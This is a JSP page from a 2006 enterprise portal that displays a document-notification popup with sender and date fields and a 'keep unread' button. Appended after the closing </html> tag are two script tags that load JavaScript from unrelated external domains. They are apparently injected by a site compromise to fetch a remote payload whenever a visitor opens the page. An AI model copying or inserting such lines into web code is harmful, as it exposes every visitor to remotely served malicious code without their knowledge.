<%
/*
 * @(#)DocumentNotificaiton.jsp
 *
 * Copyright (c) 2006 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  DocumentNotificaiton.jsp

  This class is reflecting business logic uses.

    @author           greatwall shao
    @company          DCIVision Limited
    @creation date    2006-09-26 

*/
%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.sql.Timestamp"%>
<%@page import="com.dcivision.framework.Utility"%>
<%@page import="com.dcivision.framework.TextUtility"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page contentType="text/html;charset=UTF-8"%>

<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="messageBean" scope="request" class="com.dcivision.alert.core.MessageInfoBean"/>
<html>
<head>
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-Control" content="no-cache">
<meta http-equiv="Expires" content="0">
<link media="all" href="<%= request.getContextPath() %>/theme/pref<%= sessionContainer.getPreference() %>/css/lang/<%= sessionContainer.getSessionLocale().toString() %>/GlobalStyle.css" charset="UTF-8" type="text/css" rel="stylesheet">
<!--for refresh HomepageChannel-->
<script type='text/javascript' src='<%= request.getContextPath() %>/js/alert.js'></script>
<jsp:include page="/js/alert.jsp" flush="true"/>
<!--end-->
<script language="javascript">

function reloadParent() {
<%if(!Utility.isEmpty((String)request.getAttribute("isList"))){%>
//window.opener.document.location.href = "ListSystemMessage.do";
if(window.opener){
	if(window.opener.listMessageForm){
		window.opener.listMessageForm.submit();
	}else{
	window.opener.document.location.href = "ListSystemMessage.do";
	}
}
<%}%>
}

function setUnRead()
{
/*document.editMessageDetailForm.submit();
reloadParent();
defer();
 window.close();*/
setUnReadAjAX(document.editMessageDetailForm);
}
function defer(){
var i=0;
 for(i=0;i<10000;i++){
 document.editMessageDetailForm.unRead.value="yes";
 }
}
function hideBlock(b) {
    document.getElementById(b).style.display = "none";
  }

  function showBlock(b) {
  document.getElementById(b).style.display = "block";
  }

window.onbeforeunload = function(event){
 try{
   window.opener.hideDim();//tc add for hidden the dim
 }catch(e){
 }
}
</script>

<link href="../../css/pref3/en_US/GlobalStyle.css" rel="stylesheet" type="text/css">
</head>
<layout:popupTitle titleKey ="home.message.system.message"/>
<body bgcolor="#FFFFFF" text="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" link="#000000" vlink="#000000" alink="#000000" >
<form name="editMessageDetailForm" method="get" action="./EditMessageDetail.do" >
<input type="hidden" name="messageType" value="documentNotification"/>
  <input type="hidden" name="unRead" value="yes"/>
<input type="hidden" name="systemLogID" value="<bean:write name="messageBean" scope="request" property="systemLogID"/>"/>
<input type="hidden" name="updateAlertID" value="<bean:write name="messageBean" scope="request" property="updateAlertID"/>"/>
<table width="100%" cellpadding="20" cellspacing="0" border="0">
<tr>
<td>

<table width="100%" border="0">
<tr> 
  <td colspan="5" align="left" >
  <html:img src='black.GIF' border="0" align='absmiddle'/>&nbsp;<strong><bean:write name="messageBean" scope="request" property="subject"/></strong>
  </td>
</tr>
   <tr>
  <td colspan="4">
  &nbsp;<br/>
  </td>
  </tr>
  
  
   <tr>
    <td colspan="3"><strong>
      <bean:message key='home.message.document.document_invitation_detail'/></strong></td>
    <td></td>
    <td></td>
  </tr>
  
   <tr>
          <td colspan="5"><hr /></td>
        </tr>
        <tr>
        <td width="15%" class="<layout:classLabel/>"><bean:message key='home.message.meeting.sender'/>:</td>
        <td width="35%" colspan="2" class="dataFieldNoBackGround"><bean:write name="messageBean" scope="request" property="sender"/></td>
        <td width="15%" class="<layout:classLabel/>"><bean:message key='home.message.meeting.arrival_date'/>:</td>
        <td  width="35%" class="dataFieldNoBackGround"><bean:write name="messageBean" scope="request" property="arrivalDate" format="<%=TextUtility.getDateTimeFormat().toPattern()%>"/></td>
      </tr>

<tr>
<jsp:include flush="true" page="IncludeDocumentInfo.jsp"/>
</tr>
  </table>
  <table><tr><td height="67"></td></tr></table>
  </td>
  </tr>
  </table> 
	  <logic:notEqual name ="isFromEmail" value="yes"><!-- joan.xiong update code for bug EIP-1403 by 2006/01/08 to add equal judge -->
	  <div id="bottomButtonArea">
      <div id="buttonSection">
        <html:standardButton label="home.message.meeting.keep_unread" onClick="return setUnRead();"/>
        <html:standardButton label="workflow.applet.close" onClick="javascript:opClose();"/>
      </div>
    </div>
</logic:notEqual>
 </form>
</body>
</html>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>